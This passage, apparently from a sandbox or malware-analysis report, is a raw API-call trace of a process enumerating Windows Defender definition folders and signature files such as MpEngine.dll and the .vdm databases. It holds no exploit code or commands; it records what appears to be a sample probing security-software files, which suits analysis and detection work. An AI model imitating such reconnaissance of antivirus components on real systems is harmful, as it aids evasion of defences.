dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.192] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0226.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0226.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0226.192] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup", lpFilePart=0x0) returned 0x47 [0226.192] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\backup\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.192] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.192] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.193] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0226.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0226.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0226.193] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default", lpFilePart=0x0) returned 0x48 [0226.193] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.200] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.201] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fc46e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2fc46e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2fc46e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x122870, dwReserved0=0x0, dwReserved1=0x0, cFileName="GapaEngine.dll", cAlternateFileName="")) returned 1 [0226.201] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3226d0, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe3226d0, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe36eb85, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2060ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsBase.vdm", cAlternateFileName="")) returned 1 [0226.201] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3226d0, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe3226d0, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe3226d0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x283f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDlta.vdm", cAlternateFileName="")) returned 1 [0226.201] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe36eb85, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe36eb85, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe42d742, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b6f4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAvBase.vdm", cAlternateFileName="")) returned 1 [0226.201] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3226d0, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe3226d0, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe3226d0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x63f110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAvDlta.vdm", cAlternateFileName="")) returned 1 [0226.201] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fc46e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2fc46e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe3226d0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xa8cc80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEngine.dll", cAlternateFileName="")) returned 1 [0226.201] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fc46e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2fc46e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2fc46e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd1d10, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBase.vdm", cAlternateFileName="")) returned 1 [0226.202] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fc46e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2fc46e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2fc46e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisFull.vdm", cAlternateFileName="")) returned 1 [0226.202] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.202] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0226.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0226.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0226.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0226.203] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default", lpFilePart=0x0) returned 0x48 [0226.203] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.205] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.205] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fc46e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2fc46e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2fc46e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x122870, dwReserved0=0x0, dwReserved1=0x0, cFileName="GapaEngine.dll", cAlternateFileName="")) returned 1 [0226.205] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3226d0, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe3226d0, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe36eb85, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2060ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsBase.vdm", cAlternateFileName="")) returned 1 [0226.205] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3226d0, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe3226d0, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe3226d0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x283f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDlta.vdm", cAlternateFileName="")) returned 1 [0226.205] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe36eb85, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe36eb85, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe42d742, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b6f4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAvBase.vdm", cAlternateFileName="")) returned 1 [0226.206] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3226d0, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe3226d0, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe3226d0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x63f110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAvDlta.vdm", cAlternateFileName="")) returned 1 [0226.206] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fc46e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2fc46e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe3226d0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xa8cc80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEngine.dll", cAlternateFileName="")) returned 1 [0226.206] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fc46e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2fc46e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2fc46e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd1d10, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBase.vdm", cAlternateFileName="")) returned 1 [0226.206] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fc46e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2fc46e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2fc46e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisFull.vdm", cAlternateFileName="")) returned 1 [0226.206] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fc46e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2fc46e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2fc46e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisFull.vdm", cAlternateFileName="")) returned 0 [0226.207] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0226.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0226.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0226.208] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup", lpFilePart=0x0) returned 0x4a [0226.208] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\nisbackup\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0226.335] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.335] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.335] FindClose (in: hFindFile=0x1d1f4ed0 | out: hFindFile=0x1d1f4ed0) returned 1 [0226.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0226.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0226.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0226.335] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup", lpFilePart=0x0) returned 0x4a [0226.335] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\nisbackup\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0226.336] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.336] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.336] FindClose (in: hFindFile=0x1d1f4ed0 | out: hFindFile=0x1d1f4ed0) returned 1 [0226.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0226.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0226.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0226.336] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates", lpFilePart=0x0) returned 0x48 [0226.336] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\updates\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0226.337] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.337] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.337] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0226.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0226.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0226.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0226.337] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates", lpFilePart=0x0) returned 0x48 [0226.337] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\updates\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5050 [0226.338] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.338] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 